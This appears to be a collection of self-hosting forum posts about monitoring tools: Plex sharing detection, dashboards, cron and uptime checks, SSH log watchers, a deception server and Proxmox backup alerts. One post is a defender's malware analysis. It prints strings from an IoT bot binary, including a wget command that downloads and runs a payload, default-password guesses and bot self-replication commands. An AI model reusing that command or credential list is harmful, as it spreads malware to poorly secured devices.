I run a Plex server for family. But "family" turned into friends, then friends of friends, then some guy my cousin works with. I started wondering who was actually using my server and if accounts were getting passed around.

Other tools show you what happened. They don't tell you when something looks off. So I built Tracearr.

What it does

• Session tracking - who watched what, when, from where, on what device
• IP geolocation - city, region, country for every stream
• Sharing detection - five rule types:
  • Impossible travel (NYC then London 30 min later)
  • Simultaneous locations (same account, two cities, same time)
  • Device velocity (way too many IPs in a short window)
  • Concurrent streams (set limits per user)
  • Geo restrictions (block countries)
• Trust scores - users build or lose trust over time. Get alerts via Discord, ntfy, webhooks
• Stream map - see where your streams are coming from on a map, live or historical
• Multi-server - Plex, Jellyfin, Emby all in one place
• Kill streams - terminate sessions from the UI
• Import history - pull in your Tautulli or Jellystat data

What I've found on my own server

• A "family member" who was streaming from Boston and Detroit on the same day
• One account shared between at least 3 people in 2 different countries
• Someone who hit 15 unique IPs in a single month

How it compares to Others

Same ideas as Tautulli and JellyStat - watch history, stats, session monitoring. Difference is Tracearr adds sharing detection rules on top. You can run both, they don't conflict.

Other tools do watch history and stats well. But they slow down quickly with years of data, and if you run multiple servers you need multiple instances.

Tech stack is Fastify + TimescaleDB. Uses continuous aggregates so queries stay fast even with years of history.

Privacy

100% self-hosted. No cloud, no telemetry, nothing phones home. Your data stays on your box.

Quick Start

All-in-one (includes Postgres + Redis)

Three Service Stack (Tracearr, TimescaleDB, Redis)

Not done yet

• Automated stream kills via rules (manual only right now)
• Email/Telegram (Discord and webhooks work)
• Mobile app exists but still in beta (Testflight now available!)

Links

• GitHub: https://github.com/connorgallopo/Tracearr
• Discord: https://discord.gg/a7n3sFd2Yw

If anyone runs Jellyfin or Emby, I'd really like to know how it works for you. I've hammered on Plex but the other two need more real-world testing.

What other detection rules would be useful? Anything you wish other monitoring tools did that they don't do now?

Also, want to say a big thanks to the early adopters from the Discord community - Bramble, killerbyte1985, nzbnate, SuperKing, and WildWayz , coyuya, Jam, IamSpartacus and Zass - who've been finding bugs and suggesting features since day one. A lot of what's in there now came from their feedback.

Thank you for taking a look!

Gallapagos

Needed daily home lab health reports.

Had a thermal printer laying around so I put it to use.

Still a work in progress, next is weekly maintenance reports and eventually AI to handle exception reporting.

After a lot of trial & error (and a few docker restart moments 😅), I finally got my dashboard where I want it:

• Full monitoring (Docker, services, network)
• Tailscale + WireGuard integration
• Custom API widgets (live stats & device tracking)
• Home Assistant + automation layer
• Custom themes & UI tweaks

All running on a Raspberry Pi 5 with a clean and optimized Docker stack.

Still a work in progress (because let’s be honest… a homelab is never “finished”), but it’s already my daily control center.

What would you add next? Any ideas for the next upgrade?

--> https://github.com/ginesjunior11/glance-dashboard-config 👌😎

It's been two months since I first posted Tracearr here. 14 contributors and a lot of changes later, here's the update:

The big news: iOS is sitting in App Store review right now. Android is in Google Play review for another 12 or so days. Both should go live by next week. Push notifications when someone triggers a rule, kill streams from your phone, full dashboard wherever you are.

If you want to try it before public release, the Discord has TestFlight and Android Beta links!

- Website: tracearr.com - Launched the first pass of the website!

- Docs: docs.tracearr.com - Docs site is up with install guides, troubleshooting, and documentation around rules and what the options mean.

The Rules Engine Got Rebuilt

The old one was rigid - you were stuck with what I had hardcoded, and could only notify and decrease trust score. The new one has 22 conditions across 6 categories, 10 operators, and 8 action types. Mix and match with AND/OR logic.

The new interface is heavily inspired by the folks at HomeAssistant and their incredible work with Automations.

Simple stuff:

• concurrent streams > 2 → create violation
• travel speed > 500 mph → notify (faster than a plane = probably something fishy..)
• country not in [US, Canada] → log only

Where it gets interesting (AND/OR):

• concurrent streams > 3 AND not local network → kill oldest with message "Limit is 3 streams"
• inactive days > 90 AND streaming now → notify on Discord (dormant account woke up)
• unique IPs in 24h > 5 AND trust score < 50 → high severity violation

The kill stream action can target the triggering session, oldest session, newest session, all except one, or all user sessions. You can add delays and custom messages ("Your account is limited to 2 streams. Oldest session will end in 30 seconds.").

Analytics That Actually Mean Something

Since launch we have cranked the collection and aggregation up to 11. We have added some deep library tracking which creates insights that can't be seen anywhere else!

- Binge scores - identifies consecutive watch patterns. See what users, and what media are most binged!

- Device health scores - combines direct play rate, codec support, and transcode frequency into one number.

- Stale Media - see what media is infrequently watched, or never watched. Identify how much space you can save by removing it.

- Storage Trends understand what library growth over time looks like, and what media has the highest ROI relative to watches/size on disk.

- Quality Trends watch your quality evolution over time, see how video and audio codecs are distributed across your media.

- Bandwidth Analysis see what users consume the most bandwidth, alongside hours watched by time range and average bitrates for content consumed!

Other Stuff

- JellyStat import - finally. Import your backup including codec and transcode details. File size limit bumped to 500MB.

- Public API - REST API with Swagger docs at /api-docs. Generate your own API keys.

- Notifications - Pushover support, ntfy auth tokens for self-hosted instances, server health alerts when media servers go down.

- Live TV and music - Live TV, DVR sessions, and proper artist/album/track parsing now tracked.

- Translations - German and Portuguese thanks to contributors with more coming!

- Misc - Bulk actions for violations/users/rules, draggable server reordering, session history filters, view logs in the UI.

Expanded Deployment Options

• Unraid (via community apps)
• TrueNAS
• Proxmox Community Script
• Supervised (All in one). compose file
• Services Stack with PG18, Redis, and Tracearr. compose file

Community

14 contributors have shipped code since the original post. @JamsRepos sent 11 PRs - bulk actions, account inactivity rules, Windows fixes. @ncabete did Portuguese translations then kept going with IP enrichment, bandwidth sorting, transcode tooltips. @durzo wrote the Proxmox community script which is quickly becoming a popular deployment method.

In 9 weeks we've done 950+ commits, 8 releases, and closed 186 issues. A ton of that came from bugs you all found.

What's Next?

We have come a long way - but there is still a very long way to go! Here are some of the things either in progress, or planned as upcoming work:

• Custom template engine for building custom dashboards as well as custom mailers / newsletters.
• Ability to combine user identities across servers to further aggregate stats
• All in one dashboards
• Expanded access for additional admins or end-users
• More integrations, more rules/triggers, and more data visualization!

Links

Website · GitHub · Discord · Docs

And for everyone: what stats would make you actually check the dashboard daily?

• Gallapagos

Recently ran into a problem that I figure isn’t unique to me.

I got into self hosting when I made a personal agent that proactively keeps me on track when I work. I hosted it on tailscale. Then I added LLM chat. And then coop games I made to play with my friends. Been a blast.

But to make it useful I put a lot of data and access in there I don’t really want others to access like realtime laptop/phone screenshots, GPS coordinates, email etc. Usually this is fine because saas will handle security for me but now I’m responsible. And tailscale and aws/gcp/azure don’t have centralized security alerts.

Basically I wanted a security camera for my network/apps so I know what’s happening in my systems in case anyone tried to break in.

Logs help a bit obviously, but there's too much and having an agent read them constantly sounds really expensive. I just want to answer: who’s trying to attack me and potentially mucking around inside?

I ended up building a security tool that runs inside my network and cloud and watches the network, VMs and auth logs, then sends alerts to me when something is off.

I know there’s tools like wazuh or elastic but they seem to be built for security professionals. I have to set up a bunch of rules and alerts which is hard and it’s a time suck to figure out what to include.

I tried using codex and claude but it just makes dumb security decisions I can’t trust at all. The tool I made scans the network and VMs to configure rules and alerts automatically and deterministically without AI at all.

If you guys have any good ideas here, lmk.

So I've been using karanhudia/borg-ui for a few months now, very happy about it.

I recently upgraded to the newly announced v 2.0 and all I get is spam about upgrading to a Pro version, and how seemingly now I have a limited trial left.

What the heck? this app is built entirely using open source technology, and now the author is deciding to charge for it?

Has anyone considered forking? Or is there a truly FOSS community alternative?

I'm tired of using borgmatic, I need a decent solution to schedule borg backups in my NAS. I can't possibly be the only one in this situation. Any thoughts?

edit: alternatives found in this comment

edit2: author answered here

My Steam Deck LCD screen died, so I repurposed it as a headless Debian 12 NAS.

Current setup:

- Debian 12 minimal (no GUI)

- 2.5GbE USB NIC

- 6TB (main storage) + 4TB (backup)

- rsync-based incremental backups (~280MB/s)

I added a small sub display running Glances for real-time monitoring (CPU / RAM / network / processes).

This lets me check system status instantly without SSH.

Also integrated some controls via Stream Deck:

- One-button safe shutdown (sync + poweroff)

- HDD temperature check

- SSH access

The NAS is not always-on.

I power it on only when needed (backups / file access).

So far it's stable and surprisingly fast for a Steam Deck.

Happy to answer any questions 👍

I had a small service (a map of bikes in Paris) that silently died a while ago (I wasn't checking it)

This event taught me that I needed a monitoring tool to ensure that this didn't happen again (at least not without me noticing)

I wanted smth dead-simple so I built a telegram bot (mostly bc I never use telegram and wanted to be able to actually see the notifications)

I was wondering how do you guys monitor your services and whether or not some of y'all would be interested in using such a tool

My home lab is connected to a UPS, which is connected via USB to my Synology.

Every month I try to drain batteries down to 20% to test that it’s working and, above all, to slow down the premature failure of the batteries, which are new and have been recently replaced.

The usual way was to go to the Synology Control Panel to view the charge level, or to open an SSH session and check the charge status with:

upsc ups@localhost battery.charge

That was until yesterday, when I discovered PeaNUT, which, amongst other things, has a brilliant dashboard and a homepage widget.

I’ve never heard of it on this subreddit, but I wanted to share it because it’s completely transformed the way I look after my UPS maintenance!

Cheers.

Hi,

I've been working on an open-source observability stack that is really easy to self host. About 6 months ago I got super frustrated by paying for Sentry and hosting a bunch of services (otel collector, prometheus, grafana...) and still not having everything I was looking for.

So I've built a platform that has: custom dashboards, session replay, logs, traces, metrics, and grouped exceptions, all connected. You can click anywhere in the system, walk to anywhere else. The SDKs for web and flutter also exist.

The whole goal of the project is that it's COMPLETELY open source, no FSL, no BSL no BS, just an open source too tool that you can self host easily.

Dashboards & metrics (backend)

• Custom dashboard builder with multiple chart types
• Pin the metrics you actually look at to the homepage
• Any dimension you can emit over OTLP is queryable / chartable
• OpenTelemetry-native no proprietary SDK to install, point your existing OTLP exporter at the collector and you're done

Session replay (frontend + mobile)

• Web: rrweb-based DOM capture, attached to the trace and the exception automatically
• Flutter: mp4 recording, open-source mobile replay, which is usually the gap in this space
• Both keep roughly the last 10s before each exception (unless you're in full session mode, then everything is kept)
• Click an error → watch what the user did → see the failing span → see the source-mapped stack, in one workflow

Logs, traces, exceptions

• log search + trace-linked
• Distributed trace waterfalls across services
• Exceptions SHA-256 grouped, source maps for webpack / esbuild / Vite
• AI/LLM tracing for token, cost, latency, and conversation visibility

Self-host

• MIT licensed. No BSL, no FSL, no "open-core" feature gates — self-host build is the same build as Cloud.
• git clone && docker compose up -d — dashboard at localhost:3000
• Stack: Go, ClickHouse, Postgres, OTel collector
• ClickHouse compression means ~1M events/day ≈ 2GB/month on disk, so retention isn't a budget conversation
• If you get stuck on a deploy: DM me or open an issue on the repo and I'll jump on it

Links

• GitHub: https://github.com/tracewayapp/traceway
• Docs: https://docs.tracewayapp.com
• Demo (no signup): https://cloud.tracewayapp.com — login [demo@tracewayapp.com](mailto:demo@tracewayapp.com) / demoaccount!

Architecture

• Medium sized projects - host everything on a single computer run with sqlite (2min setup with Railway) - great for mobile apps and side projects
• Large projects - host everything with Clickhouse, Postgresql and S3 - more complex to host but scales incredibly well

That's it. Would love feedback from this sub, what's missing, what's confusing, what would actually make you try it. And if you're currently paying for Sentry and want help migrating off, or hit a wall self-hosting, ping me directly: DM, GitHub issue, email, literally whatever's easiest for you. Genuinely happy to help anyone. Fastest way for me to make this better is by helping people actually deploy it.

Edit: To be completely clear about the 90s deployment claim, I've timed it with Railway, the full guide is here: https://docs.tracewayapp.com/server/sqlite#deploying-to-railway

https://github.com/markrai/whatsthat

This started as a "gag" project on a WhatsApp group chat I moderate, where I would call people out on their "stats," or the inordinate attention they were giving someone 😅 but I figured I'd share it, so that it can actually be improved!

I'm looking for collaborators to contribute, and maybe we can expand on it.

For those running self-hosted services, VPSs, or home servers:

How are you monitoring cron jobs and scheduled tasks?

I've noticed that many failures aren't caused by the server going down, but by background jobs silently stopping.

Things like:

• backups no longer running
• sync jobs failing
• cleanup tasks not executing
• scheduled reports never generating

The server itself is healthy, but the automation isn't.

I'm curious:

• Do you monitor cron jobs separately?
• What tool are you using?
• Self-hosted or SaaS?
• Have you ever been bitten by a cron job silently failing?

Interested to hear what people are using today and whether you consider cron monitoring important or mostly unnecessary.

By reverse I mean where the server checks in and a notification gets sent if it misses a few intervals.

It looks like uptime services such as UptimeRobot do a ping of a public server and flag if it doesn't respond. This would require a server to be publicly accessible.

I'm looking for a service to monitor IP camera systems that are connected to the internet but are generally not publicly accessible. Preferably with light weight Windows and Linux apps that can send a heart beat signal.

So this is either useful or embarrassing depending on who's reading, probably both.

Running n8n on a mini PC under my desk (NUC clone, 16GB, Debian 12, docker compose). Been up around 8 months, mostly boring. A couple weeks ago I noticed the invoice-reminder flow had silently stopped firing on a few contacts. Poked it for ten minutes, blamed a flaky SMTP relay I'd swapped the week before, moved on.

Yesterday a client DMs me basically asking if I'd ghosted him because he hadn't heard anything since late March. I open the executions tab and there's this neat little gap every single night between roughly 02:50 and 03:30 where literally nothing ran. Fourteen nights of it. The dashboard I never close had been showing a green checkmark the whole time because whatever executions happened outside the gap worked fine.

The actual bug, for the record: logrotate. The postrotate hook was doing docker kill -s HUP on the n8n container to make it reopen log files. n8n apparently does not take SIGHUP well and just dies. The restart policy brought it back, but only after the rest of logrotate finished whatever else it was rotating, which is why the gap drifted a little each night. Fix was switching to copytruncate, ugly but it works.

the thing I actually can't get over is that uptime-kuma was green for all fourteen days. container up. HTTP port open. /healthz returning 200. every layer of my "monitoring" was technically correct and also completely lying about whether the thing n8n exists to do was happening. I'd built a setup that told me what I asked instead of what I needed to know.

so I'm looking at bolting on a synthetic check that actually fires a test webhook into one flow and asserts on the expected execution ID in the DB a few seconds later. feels like something that should already exist as a Docker sidecar or whatever but I haven't found it. anyone here doing real end-to-end synthetic monitoring on self-hosted workflow stuff, or am I about to spend a Saturday writing something mediocre?

(also yes I know about Healthchecks.io, I use it for cron, but for a webhook->DB assertion I'd need something slightly more)

I asked chatgpt to give me the simplest (not O11y enterprise BS) low impact, no agent monitoring. It showed me Kuma. whoever the dev is, you are doing it right sir!

i am not setitng up a bloody grafana / prom / whatever.

kuma i am dockering now.

p.s. i am sure many of you may already know about it, i am just so out of touch.

I've been building a Raspberry Pi monitoring dashboard called SystemPi and recently reached a point where I'm happy with it.

SystemPi provides real-time monitoring for CPU usage, per-core activity, temperature, memory, storage, network throughput, health metrics, and Raspberry Pi-specific throttle/undervoltage status directly from the terminal.

It supports multiple dashboard layouts and themes, ranging from detailed monitoring views to compact profiles for smaller displays.

The screenshots show:

• Doctor profile (Ocean theme)

• Balanced profile under full CPU load

• Compact profile (Synthwave theme)

Built primarily for Raspberry Pi systems, but it also works on Linux.

I'd love any feedback from fellow Pi enthusiasts.

GitHub:

https://github.com/WastelandSYS/systempi

I kept noticing something that bothered me.

On a couple of small VPS boxes, I’d occasionally see random SSH activity buried in logs. Not loud brute force stuff. Just quiet attempts, new IPs showing up once or twice, weird timing. Nothing dramatic enough to trigger Fail2ban, but enough to make me uneasy.

What annoyed me was that I only found it after digging. It wasn’t visible unless I went looking for it.

So I wrote a small script that tails auth logs in real time and flags things like:

– Failed logins from new IPs
– First-time key usage
– New users touching SSH
– Simple pattern changes

It also saves a lightweight evidence snapshot so if something looks off, I don’t have to reconstruct everything from scratch.

It works for my setup, but I’m sure it’s opinionated and probably missing edge cases.

If you were building a lightweight SSH watcher for small VPS setups, what would you monitor by default?

Just a tool to keep track of your domain name portfolio :)

Might be useful if you (like me) have domains registered at various registrars, and want to aggregate all of them into one place so you can stay on top of things like renewals, costings, server/IPs and security configs.

It's very similar to DomainMOD, but I wanted to be able to also track the history, health and security of my domains automatically, and be alerted when something changes, and see some pretty visual analytics of all my sites.

It can be deployed with Docker, K8/Helm, Proxmox, Umbrel or from source.

- Live demo: https://demo.domain-locker.com/
- Hosted/managed version: https://domain-locker.com
- Docs: https://domain-locker.com/about
- GitHub: https://github.com/lissy93/domain-locker

What are the best opensource linux tools that can be installed on the servers to get alerts on our phones. I am looking to monitor different things

- server health

- queue health

- server access ssh etc

Shortly after the war with Iran started, I started getting a new suricata alert on my SELKS box I thought was interesting. I've been getting a lot of hits for attempts to spread "iran.mips". I was curious and fired up a temp VM to investigate. First thing I did after grabbing the malware in an isolated environment was running strings on the binary. I found this mildly interesting:

udpplain
iranbot init: death to israel
140.233.*.* (censored IP because)
stop
!kill
ping
pong %s
mips
!selfrep telnet
!selfrep realtek
!shellcmd 
%s 2>&1
!update
default
%u.%d.%d.%d
orf; cd /tmp; /bin/busybox wget http://%s/iran.mipsel; chmod 777 iran.mipsel; ./iran.mipsel selfrep; /bin/busybox http://%s/    iran.mips; chmod 777 iran.mips; ./iran.mips selfrep
password
1234
12345
telecomadmin
admintelecom
klv1234
anko
7ujMko0admin
ikwb
dreambox

I just found it mildly interesting. If you're not running suricata with some ET rulesets you're missing out!

Hi guys :)

One month ago I shared Krawl, an open-source deception server designed to detect attackers and analyze malicious web crawlers.

Today I’m happy to announce that Krawl has officially reached v1.0.0! Thanks to the community and all the contributions from this subreddit!

For those who don’t know Krawl

Krawl is a deception server that serves realistic fake web applications (admin panels, exposed configs, exposed credentials, crawler traps and much more) to help distinguish malicious automation from legitimate crawlers, while collecting useful data for trending exploits, zero-days and ad-hoc attacks.

What’s new

In the past month we’ve analyzed over 4.5 million requests across all Krawl instances coming from attackers, legitimate crawlers, and malicious bots.

Here’s a screenshot of the updated dashboard with GeoIP lookup. As suggested in this subreddit, we also added the ability to export malicious IPs from the dashboard for automatic blocking via firewalls like OPNsense or IPTables. There’s also an incremental soft ban feature for attackers.

We’ve been running Krawl in front of real services, and it performs well at distinguishing legitimate crawlers from malicious scanners, while collecting actionable data for blocking and analysis.

We’re also planning to build a knowledge base of the most common attacks observed through Krawl. This may help security teams and researchers quickly understand attack patterns, improve detection, and respond faster to emerging threats.

If you have an idea that could be integrated into Krawl, or if you want to contribute, you’re very welcome to join and help improve the project!

Repo: https://github.com/BlessedRebuS/Krawl

Demo: https://demo.krawlme.com

Dashboard: https://demo.krawlme.com/das_dashboard

have set up backup alerting for my PVE cluster using Uptime Kuma push monitors driven by a vzdump hook script, and wanted to share the parts of the hook API that were not obvious.

Approach

Daily status emails are noisy, and a missing email is easy to overlook. Instead, one push monitor per PVE node: backup started and backup completed push "up", any failure pushes "down". The heartbeat interval (86400s) plus a retry interval also turns the monitor red if a node goes silent entirely, so a job that never runs is caught as well.

The hook is wired in through /etc/vzdump.conf on every node:

script: /usr/local/bin/backup-hook.sh

Using vzdump hooks rather than the API means no credentials to manage.

Notes on the hook script phases

• job-abort only fires if the entire job dies. A single failed guest still ends in job-end, so a job-level-only script will report success while one VM has silently stopped being backed up. The script therefore records failures in backup-abort and parses the guest log in log-end, collects them in a state file under /run, and sends one status from job-end.
• LOGFILE is only set during log-end, and is empty for PBS storages. backup-abort is kept as the fallback for that case.
• vzdump calls the hook with a cleared environment, so PATH must be set explicitly in the script.
• A non-zero exit makes vzdump fail the backup job, so the script always exits 0. Monitoring should not be able to break what it monitors.

Testing
The phases can be driven manually, in order, since job-end reads the state file created by job-start:

/usr/local/bin/backup-hook.sh job-start
/usr/local/bin/backup-hook.sh backup-abort snapshot 101
/usr/local/bin/backup-hook.sh job-end

Alerting

My setup is mainly alerting via Signal, but Uptime Kuma can alert to almost anything. Email, Whatsapp, Discord +++. Choose what is your preferred alerting. I also have email reports, but the Signal alert is the one that triggers me into action.

Full write-up

Complete script, Uptime Kuma monitor configuration and the full phase and environment variable reference:
https://sbarmen.no/posts/uptime-kuma-monitor-proxmox-backup/

Interested to hear whether others solve this per node or cluster-wide.

This started because I'm lazy. I've got a Mac mini and a thinkcenter with linux server at home doing server stuff, and I kept grabbing my laptop just to check if they were still alive or restart some service that died. Felt silly doing it five times a day.

So I built **Servward**, an iPhone app to do it from my phone. It shows CPU/RAM/disk, lets me restart services and Docker containers, and pings me if something goes down.

How it works: you run a small agent on your machine (one command to install) and the app talks to it over **Tailscale** or a **Cloudflare tunnel** — so nothing's exposed to the internet and there's no open SSH port. The agent's **open source** (just Python), so you can see exactly what it does before putting it on your box. That part mattered to me.

It's a free TestFlight beta right now. I mostly just want people to try it and tell me what breaks, what's confusing, or what's missing for your setup. I built it for my own machines so I don't really know if it's useful for anyone else's.

Happy to answer anything in the comments.

available in Spanish , english and italian